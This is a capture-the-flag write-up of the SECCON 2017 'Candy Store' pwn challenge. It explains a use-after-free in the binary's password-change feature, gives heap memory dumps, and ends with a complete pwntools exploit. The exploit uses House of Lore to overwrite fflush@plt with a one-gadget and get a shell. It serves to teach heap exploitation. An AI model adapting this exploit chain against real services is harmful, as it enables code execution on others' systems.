SECCON CTF 2017 Online Candy Store Write-Up

Introduction

Since I was trying to make an extra tutorial on House of Lore exploitation technique recently and found this challenge in SECCON last year, I decided to use this challenge to demonstrate the usage of House of Lore.
The binary of this challenge is a bit complicated, I will first introduce the work flow of this challenge and then explain how to develop the exploit.

Target Analysis

There are five important data structures involved in this challenge.

struct User
{
    unsigned long priv;
    unsigned long num;
    struct userinfo *info;
    unsigned long deposit;
}

struct userinfo
{
    char padding[16];
    char username[8];
    char passwd[8];
    unsigned long can_delete;
    char desc[0x58];
}

struct candy
{
    char taste[8];
    int orderNumber;
    int candyCode;
}

struct order
{
    char orderCode[8];
    int orderCount;
    char orderCandyTaste[8];
    int candyCode;
}

struct stockCandy
{
    char name[8];
    int number;
    int price;
    char *desc;
}

Besides the five data structures mentioned above, there are also four important lists to store the data structures mentioned above.
userList: at 0x604220
candyList: at 0x6041c0
orderList: at 0x604100
stockCandyList: at 0x604180.

After introducing the basic information in this challenge, I will give the basic work flow of this challenge. For details in the workflow, please refer to the binary of this challenge.
There are two types of user in this challenge: admin whose priv is 1 and normal user whose priv is 3. For different types of user, available options in this challenge is different.
1 Stock. View all elements in stockCandyList.

2 Purchase. Purchase on type of candy in stockCandyList. If the number of the candy reaches 0, remove the stockCandy from the stockCandyList and leave a comment message (maximum size 0x4c0).

3 Charge. Add money to the current user’s deposit.

4 Order (only for admin). Provide options for admin to operate on orderList and stockCandyList
4.1 viewOrderList. View all elements in orderList.
4.2 addOrder. Allocate a new order and insert it into orderList.
4.3 cancelOrder. List the cancellable candy in orderList first. Then choose one and remove the chosen candy from orderList.
4.4 makeOrder. Put order in orderList into stockCandyList and clear the stockCandyList.

5.Account (only for admin). Provide options for admin to operate on existing account.
5.1 deleteAccount Delete an account with the picked index.
5.2 changePW Change the password of an account with the picked index.

9.Logout. Logout to the login interface.

Vulnerability Analysis

There is one use-after-free (UAF) vulnerability in Account operation. When trying to delete an account, the binary uses the priv of checking user to judge if it is a valid user. If the account to delete is valid, it will zero out its priv. However, when trying to change the password of an account, the binary checks whether info of checking account is NULL and whether info->can_delete is 0. If both are not 0, it will change the passwd of the account.
That leaves a UAF window for us to exploit. We can delete one account first, use other allocation in binary to reallocate the deleted chunk and fill in legal data and try to user changePW to corrupt data in memory.

Exploitation plan

As normal exploitation, there are two basic steps to launch attack: (1) Leak libc base address, (2) Hijack control flow to magic gadget.
Step (1) is easy to achieve in this challenge, we can free a stockCandy first and insert its desc into unsorted bin. Then allocate multiple Order to leak the address of unsorted bin, leaking libc base address in the end.
Step (2) is the difficult part in this challenge.
After deleting a normal user account, we can find that the value of userInfo of deleted user as following:

//before deletion
0x604240:	0x0000000000000003	0x0000000000000002
0x604250:	0x0000000001bdc5f0	0x0000000000002710
0x604260:	0x0000000000000003	0x0000000000000003
0x604270:	0x0000000001bdc680	0x0000000000002710

0x1bdc5f0:	0x0000000000000000	0x0000000000000000
0x1bdc600:	0x0000003152455355	0x0000000031313131
0x1bdc610:	0x0000000000000001	0x31746e6564757473
0x1bdc620:	0x0000000000000000	0x0000000000000000

//after deletion
0x604240:	0x0000000000000000	0x0000000000000002
0x604250:	0x0000000001bdc5e0	0x0000000000002710
0x604260:	0x0000000000000003	0x0000000000000003
0x604270:	0x0000000001bdc680	0x0000000000002710

0x1bdc5e0:	0x0000000000000000	0x0000000000000091
0x1bdc5f0:	0x00007f657567bb78	0x00007f657567bb78
0x1bdc600:	0x0000000000000000	0x0000000000000000
0x1bdc610:	0x0000000000000000	0x0000000000000000

Therefore, for changePW option, we gain the ability to overwrite the bk of one freed chunk. Instead of unsorted bin attack, we use House of Lore to overwrite the bk pointer of one freed chunk in smallbin.

Due to the security check in _int_malloc below, we cannot overwrite arbitrary value to the victim chunk.

victim = last(bin);
bck = victim->bk;
glibc_unlikely(bck->fd != victim);

Luckily, this challenge provides us a chance to overwrite the bk
of victim chunk to 0x602440 as shown below.

//userList
0x604220:	0x0000000000000001	0x0000000000000001
0x604230:	0x0000000001bdc010	0x0000000000000370
0x604240:	0x0000000000000000	0x0000000000000002
0x604250:	0x0000000001bdc5e0	0x0000000000002710
0x604260:	0x0000000000000003	0x0000000000000003
0x604270:	0x0000000001bdc680	0x0000000000002710

//vulnerable chunk
0x1bdc5e0:	0x0000000000000000	0x0000000000000091
0x1bdc5f0:	0x00007f657567bbf8	0x0000000000604240
0x1bdc600:	0x0000000001bdccc0	0x0000000000000071
0x1bdc610:	0x00007f657567bbd8	0x00007f657567bbd8

//heap status
0x7f657567bb20:	0x0000000000000000	0x0000000001bdccb0
0x7f657567bb30:	0x0000000000000000	0x0000000000000000
0x7f657567bb40:	0x0000000000000000	0x0000000000000000
0x7f657567bb50:	0x0000000000000000	0x0000000000000000
0x7f657567bb60:	0x0000000000000000	0x0000000000000000
0x7f657567bb70:	0x0000000000000000	0x0000000001bdd6c0
0x7f657567bb80:	0x0000000001bdccd0	0x0000000001bdccd0
0x7f657567bb90:	0x0000000001bdccd0	0x00007f657567bb88
0x7f657567bba0:	0x00007f657567bb88	0x00007f657567bb98
0x7f657567bbb0:	0x00007f657567bb98	0x00007f657567bba8
0x7f657567bbc0:	0x00007f657567bba8	0x00007f657567bbb8
0x7f657567bbd0:	0x00007f657567bbb8	0x00007f657567bbc8
0x7f657567bbe0:	0x00007f657567bbc8	0x00007f657567bbd8
0x7f657567bbf0:	0x00007f657567bbd8	0x00007f657567bbe8
0x7f657567bc00:	0x00007f657567bbe8	0x0000000001bdc5e0
0x7f657567bc10:	0x0000000001bdc5e0	0x00007f657567bc08

After triggering House of Lore, now the heap status is given below

0x7f657567bb20:	0x0000000000000000	0x0000000001bdccb0
0x7f657567bb30:	0x0000000000000000	0x0000000000000000
0x7f657567bb40:	0x0000000000000000	0x0000000000000000
0x7f657567bb50:	0x0000000000000000	0x0000000000000000
0x7f657567bb60:	0x0000000000000000	0x0000000000000000
0x7f657567bb70:	0x0000000000000000	0x0000000001bdd6c0
0x7f657567bb80:	0x0000000001bdccd0	0x0000000001bdccd0
0x7f657567bb90:	0x0000000001bdccd0	0x00007f657567bb88
0x7f657567bba0:	0x00007f657567bb88	0x00007f657567bb98
0x7f657567bbb0:	0x00007f657567bb98	0x00007f657567bba8
0x7f657567bbc0:	0x00007f657567bba8	0x00007f657567bbb8
0x7f657567bbd0:	0x00007f657567bbb8	0x00007f657567bbc8
0x7f657567bbe0:	0x00007f657567bbc8	0x00007f657567bbd8
0x7f657567bbf0:	0x00007f657567bbd8	0x00007f657567bbe8
0x7f657567bc00:	0x00007f657567bbe8	0x0000000001bdc5e0
0x7f657567bc10:	0x0000000000604240	0x00007f657567bc08

Next, we want to allocate a chunk at 0x604240 for allocating stockCandy. Then we can overwrite the userInfo of the second normal user, apply changePW to second normal user to overwrite value at fflush@plt and use magic gadget to get shell in the end.
To allocate a chunk at 0x604240, we still need to pass the security check mentioned above. This time we take advantage of the charge function to manipulate the memory given below.

//userList
0x604220:	0x0000000000000001	0x0000000000000001
0x604230:	0x0000000001bdc010	0x0000000000000370
0x604240:	0x0000000000000003	0x0000000000000002
0x604250:	0x0000000001bdc5f0	0x0000000000604268
0x604260:	0x0000000000000003	0x0000000000000003
0x604270:	0x0000000001bdc680	0x0000000000604240

//heap status0x7f657567bb20:	0x0000000000000000	0x0000000001bdccb0
0x7f657567bb30:	0x0000000000000000	0x0000000000000000
0x7f657567bb40:	0x0000000000000000	0x0000000000000000
0x7f657567bb50:	0x0000000000000000	0x0000000000000000
0x7f657567bb60:	0x0000000000000000	0x0000000000000000
0x7f657567bb70:	0x0000000000000000	0x0000000001bdd6c0
0x7f657567bb80:	0x0000000001bdccd0	0x0000000001bdccd0
0x7f657567bb90:	0x0000000001bdccd0	0x00007f657567bb88
0x7f657567bba0:	0x00007f657567bb88	0x00007f657567bb98
0x7f657567bbb0:	0x00007f657567bb98	0x00007f657567bba8
0x7f657567bbc0:	0x00007f657567bba8	0x00007f657567bbb8
0x7f657567bbd0:	0x00007f657567bbb8	0x00007f657567bbc8
0x7f657567bbe0:	0x00007f657567bbc8	0x00007f657567bbd8
0x7f657567bbf0:	0x00007f657567bbd8	0x00007f657567bbe8
0x7f657567bc00:	0x00007f657567bbe8	0x0000000001bdc5e0
0x7f657567bc10:	0x0000000000604240	0x00007f657567bc08

After triggering the House of Lore this time, we now can overwrite fflush@plt.

(gdb) x/20gx 0x604220
0x604220:	0x0000000000000001	0x0000000000000001
0x604230:	0x0000000001bdc010	0x0000000000000370
0x604240:	0x0000000000000003	0x0000000000000002
0x604250:	0x0000000000604078	0x0000000000000000
0x604260:	0x0000000000000000	0x0000000000000000
0x604270:	0x0000000000000000	0x0000000000000000
0x604280:	0x0000000000000000	0x0000000000000000
0x604290:	0x0000000000000000	0x0000000000000000
0x6042a0:	0x0000000000000000	0x0000000000000000
0x6042b0:	0x0000000000000000	0x0000000000000000
(gdb) x/8gx 0x604078
0x604078:	0x00007f65752ec3c0	0x00007f6575373370
0x604088:	0x00007f657533b130	0x00007f65753247a0
0x604098:	0x00007f65752ede80	0x00007f657530c940
0x6040a8:	0x0000000000400936	0x00007f65752f1f60

Exploit

from pwn import *


DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("1.2.3.4", 233333);
elif(DEBUG == 1):
    r = process("./lazenca");
elif(DEBUG == 2):
    r = process("./lazenca");
    gdb.attach(r, '''source ./script''');

def login(userid, userpwd):
    s_userid = userid.ljust(8, '\x00');
    s_userpwd = userpwd.ljust(8, '\x00');

    r.recvuntil(">");
    r.send(s_userid);
    r.recvuntil(">");
    r.send(s_userpwd);

def createAccount(userid, userpwd, profile):
    s_userid = userid.ljust(8, '\x00');
    s_userpwd = userpwd.ljust(8, '\x00');
    s_profile = profile.ljust(0x58, '\x00');
    r.recvuntil("1) No");
    r.send("0");
    r.recvuntil("New ID.");
    r.send(s_userid);
    r.recvuntil("New Password.");
    r.send(s_userpwd);
    r.recvuntil("profile");
    r.send(s_profile);


def stock():
    r.clean();
    r.sendline("1");

def purchase(code, number):
    r.clean();
    r.sendline("2");
    r.recvuntil("purchased.");
    r.send(str(code).ljust(3, '\x00'));
    r.recvuntil("purchase.");
    r.send(str(number).ljust(3, '\x00'));

def leaveComment(msg):
    r.recvuntil("a comment for candy.");
    r.send(msg.ljust(0x4b0, '\x00'));


def charge(option):
    r.clean();
    r.sendline("3");
    r.recvuntil("5) 100000");
    r.sendline(option);

def chargeNumber(number):
    log.info("charging number: %d" % number);
    count1 = number/100000;
    log.info("charging 1: %d" % count1);
    for i in range(0, count1):
        charge("5");

    num = number - count1 * 100000;
    count2 = num/10000;
    log.info("charging 2: %d" % count2);
    for i in range(0, count2):
        charge("4");

    num = num - count2 * 10000;
    count3 = num/1000;
    log.info("charging 3: %d" % count3);
    for i in range(0, count3):
        charge("3");

    num = num - count3 * 1000;
    count4 = num/100;
    log.info("charging 4: %d" % count4);
    for i in range(0, count4):
        charge("2");

    num = num - count4 * 100;
    count5 = num/10;
    log.info("charging 5: %d" % count5);
    for i in range(0, count5):
        charge("1");

    num = num - count5 * 10;
    count6 = num;
    log.info("charging 6: %d" % count6);
    for i in range(0, count6):
        charge("0");


def listOrder():
    r.clean();
    r.sendline("4");
    r.recvuntil("Command :");
    r.sendline("1");

def exitOrder():
    r.recvuntil("Command :");
    r.sendline("5");


def addOrder(candyCode):
    r.clean();
    r.sendline("4");
    r.recvuntil("Command :");
    r.sendline("2");
    r.recvuntil("order.");
    r.sendline(candyCode);
    exitOrder();

def cancelOrder(orderNum):
    r.clean();
    r.sendline("4");
    r.recvuntil("Command :");
    r.sendline("3");
    #halt();
    r.clean();
    r.sendline(orderNum);
    exitOrder();
    #r.recvuntil("Command :");
    #r.sendline("5");


# confirm "0" for "Yes"; "1" for "No"
def makeOrder(confirm):
    r.clean();
    r.sendline("4");
    r.recvuntil("Command :");
    r.sendline("4");
    r.recvuntil("1) No");
    r.sendline(confirm);

def setStockCandy(price, desc):
    r.recvuntil("candy.");
    r.send(price.ljust(5, '\x00'));
    r.recvuntil("candy.");
    r.send(desc.ljust(0x7c, '\x00'));

def account():
    r.clean();
    r.sendline("5");

def deleteAccount(index):
    account();
    r.recvuntil("Command :");
    r.sendline("1");
    r.recvuntil("delete");
    r.sendline(index);
    #halt();
    exitAccount();

def changeAccountPW(index, newpw):
    account();
    r.recvuntil("Command :");
    r.sendline("2");
    r.recvuntil("change PW");
    r.sendline(index);
    r.recvuntil("New Password.");
    r.send(newpw.ljust(8, '\x00'));
    exitAccount();

def exitAccount():
    r.clean();
    r.sendline("3");

def logout():
    r.clean();
    r.sendline("9");
    r.recvuntil("1) No");
    r.sendline("0");

def exploit():
    libc = ELF("./libc-2.23.so");
    login("admin", "admin");
    createAccount("USER1", "1111", "student1");
    login("admin", "admin");
    createAccount("USER2", "2222", "student2");

    login("Admin", "admin");
    addOrder("2");
    addOrder("3");
    listOrder();
    exitOrder();
    makeOrder("0");
    setStockCandy("20", "AAAA");
    setStockCandy("40", "BBBB");
    exitOrder();
    deleteAccount("2");

    stock();
    purchase(1, 10);
    leaveComment("VeryGood");

    addOrder("4");
    addOrder("5");

    listOrder();
    r.recvuntil("Order code  : ");
    leaked = r.recv(6).ljust(8, '\x00');
    leakedValue = u64(leaked) & 0xffffffffffff00;
    log.info("Leaked address: 0x%x" % leakedValue);
    libcBase = leakedValue - 0x3c4b00;
    log.info("Libc base: 0x%x" % libcBase);
    exitOrder();

    makeOrder("0");
    setStockCandy("30", "CCCC");
    setStockCandy("50", "DDDD");
    exitOrder();
    stock();

    purchase(2, 10);
    leaveComment("OK");
    purchase(1, 10);
    leaveComment("OK");
    
    changeAccountPW("2", p32(0x604240));

    stock();
    addOrder("7");
    addOrder("4");
    addOrder("5");
    cancelOrder("0");
    cancelOrder("1");


    login("admin", "admin");
    createAccount("USER3", "3333", "student3");
    login("USER3", "3333");

    chargeNumber(0x604268-10000);

    logout();
    login("USER2", "2222");
    chargeNumber(0x604240-10000);

    logout();
    login("Admin", "admin");
    makeOrder("0");
    setStockCandy("80", p32(0x604078));
    exitOrder();

    mallocRelAddr = libc.symbols['malloc'];
    mallocAbsAddr = libcBase + mallocRelAddr;
    fflushRelAddr = libc.symbols['fflush'];
    fflushAbsAddr = libcBase + fflushRelAddr;
    log.info("Malloc abs address: 0x%x" % mallocAbsAddr);
    log.info("fflush abs address: 0x%x" % fflushAbsAddr);
    oneGadgetAddr = libcBase + 0xf0274;
    changeAccountPW("2", p64(oneGadgetAddr));
    r.interactive();

exploit();

Conclusion

The challenge provides a complicated processing procedure and takes me a lot of time reversing it. With the hint given in [1], I am able to quickly locate the UAF in this challenge and use House of Lore to solve this challenge. Similar to unsafe unlink, it seems those exploitation techniques are still useful with some sophisticatedly designed data and memory layout.

Reference

[1] https://github.com/SECCON/SECCON2017_online_CTF/tree/master/pwn

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.